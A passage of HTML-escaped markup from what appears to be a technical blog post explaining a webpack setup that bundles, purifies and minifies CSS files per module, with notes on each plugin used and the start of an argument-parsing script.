punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; CleanWebpackPlugin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;clean-webpack-plugin&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// For combining multiple css files&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; ExtractTextPlugin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;extract-text-webpack-plugin&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Minify css files for env=build&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; OptimizeCssAssetsPlugin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;optimize-css-assets-webpack-plugin&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Replace filename if env=build since hash is appended for cache bursting&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; replacePlugin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./../utils/webpack.custom-string-replace.plugin&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; buildPlugins &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;__dirname&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;/../&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;env &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;build&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// minify css files if env is build i.e. production&lt;/span&gt; buildPlugins&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;OptimizeCssAssetsPlugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; cssProcessorOptions&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; safe&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Entry, files to be bundled separately&lt;/span&gt; entry&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;css-file-1&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/styles/canvas/common.css&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/styles/canvas/mobile.css&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/styles/canvas/main.css&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;css-file-2&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/styles/app.css&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/styles/player/player.css&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/styles/mobile.css&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;node_modules/select2/dist/css/select2.min.css&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; devtool&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; output&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Output directory&lt;/span&gt; path&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;dist/styles/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// [hash:6] with add a SHA based on file changes if the env is build&lt;/span&gt; filename&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; env &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;build&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[name]-[hash:6].min.css&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[name].min.css&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Rules for bundling&lt;/span&gt; module&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; rules&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/\.css$/i&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; use&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ExtractTextPlugin&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; use&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;css-loader&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ExtractTextPlugin tries to process url like in backgroun-image, url(), etc. We need to stop that behavior so we need this option&lt;/span&gt; url&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resolve&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; alias&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; modules&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; extensions&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;.css&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// only for css file&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; plugins&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Cleaning specific folder, maintaining other modules dist intact&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;CleanWebpackPlugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;dist/styles&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; root&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; basePath &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// File to generated to read hash later on&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ManifestPlugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; fileName&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;manifest.json&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Copy css/images file(s) to dist&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;CopyWebpackPlugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/images&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; to&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;dist/images/&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Bundling of entry files&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ExtractTextPlugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;env &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;build&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[name]-[hash:6].min.css&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[name].min.css&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// To remove unused CSS by looking in corresponding html files&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;PurifyCSSPlugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Give paths to parse for rules. These should be absolute!&lt;/span&gt; paths&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; glob&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sync&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;basePath&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/moduleA/*.html&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;basePath&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/moduleA/canBeAnyFile.js&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;basePath&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/moduleB/*.html&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;basePath&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src/moduleC/*.js&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; purifyOptions&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; whitelist&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;*select2-*&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// If classes are added on run-time, then based on the pattern, we can whitelist them, to be always included in our final bundled CSS file&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;buildPlugins&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The above configuration outputs two bundled CSS files i.e. &lt;code class=&quot;language-text&quot;&gt;css-file-1.min.css&lt;/code&gt; &amp;#x26; &lt;code class=&quot;language-text&quot;&gt;css-file.min.css&lt;/code&gt;, and &lt;code class=&quot;language-text&quot;&gt;css-file-1-8fb1ed.min.css&lt;/code&gt; &amp;#x26; &lt;code class=&quot;language-text&quot;&gt;css-file-2-6ed3c1.min.css&lt;/code&gt; if it&apos;s a prod build.&lt;/p&gt; &lt;p&gt;We are using &lt;a href=&quot;https://github.com/webpack-contrib/extract-text-webpack-plugin&quot;&gt;ExtractTextPlugin&lt;/a&gt;, which extracts text from a bundle, or bundles, into a separate file, along with &lt;a href=&quot;https://github.com/webpack-contrib/css-loader&quot;&gt;css-loader&lt;/a&gt;&lt;/p&gt; &lt;p&gt;We faced a very weird issue and thus worth mentioning here explicitly. &lt;code class=&quot;language-text&quot;&gt;ExtractTextPlugin&lt;/code&gt; tries to process URL like in background-image, url(), etc. We need to stop that behavior so we need to set &lt;code class=&quot;language-text&quot;&gt;url:false&lt;/code&gt; inside the options like:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;options&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; url&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Few more plugins that we are using are:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/johnagan/clean-webpack-plugin&quot;&gt;CleanWebpackPlugin&lt;/a&gt; - to remove/clean the styles folder inside the build folder before building&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/danethurber/webpack-manifest-plugin&quot;&gt;ManifestPlugin&lt;/a&gt; - for generating an asset manifest file with a mapping of all source file names to their corresponding output file This plugin generates a JSON file so that the hash appended(prod build) after a JS file can be later read by another file. Eg. one CSS file is shared among different modules so its hash needs to be stored somewhere to be read later by other modules to update the hash in their corresponding &lt;code class=&quot;language-text&quot;&gt;index.html&lt;/code&gt; files.&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/kevlened/copy-webpack-plugin&quot;&gt;CopyWebpackPlugin&lt;/a&gt; - to copy individual files or entire directories to the build directory&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/webpack-contrib/purifycss-webpack&quot;&gt;PurifyCSSPlugin&lt;/a&gt; - to remove unused selectors from the CSS. This plugin was a must for us. So, what we were doing in this entire project earlier was to copy-paste the Parent projects CSS file to this independent project. We followed the same approach because of time-constraints but found this amazing plugin which automatically removes the unused CSS from the bundled CSS files based on the paths of files which uses it. We can even whitelist selectors if classes are appended on run-time or for any other reason. But it is highly recommended to use the PurifyCSS plugin with the Extract Text plugin which we discussed above.&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/NMFR/optimize-css-assets-webpack-plugin&quot;&gt;OptimizeCssAssetsPlugin&lt;/a&gt; - to optimize/minimize CSS assets&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;This was all about bundling of CSS file.&lt;/p&gt; &lt;h3 id=&quot;last-step---automated-scripts-and-provision-to-execute-module-specific-build&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#last-step---automated-scripts-and-provision-to-execute-module-specific-build&quot; aria-label=&quot;last step automated scripts and provision to execute module specific build permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Last step - Automated scripts and provision to execute module-specific build&lt;/h3&gt; &lt;p&gt;First, we created a file to read arguments that could be read in our &lt;code class=&quot;language-text&quot;&gt;webpack.config.js&lt;/code&gt; file via a &lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt; script.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: webpack.env.js&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Webpack doesn&apos;t pass Webpack env in env variable when using multiple configs, so writing custom code&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; argv &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Loop over process arguments and check for --env.mode&lt;/span&gt; envArgv &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; argv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;arg&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; arg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;--env.mode&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; targetModuleArgv &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; argv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;arg&lt;/span&gt;&lt;span class=&quot;token 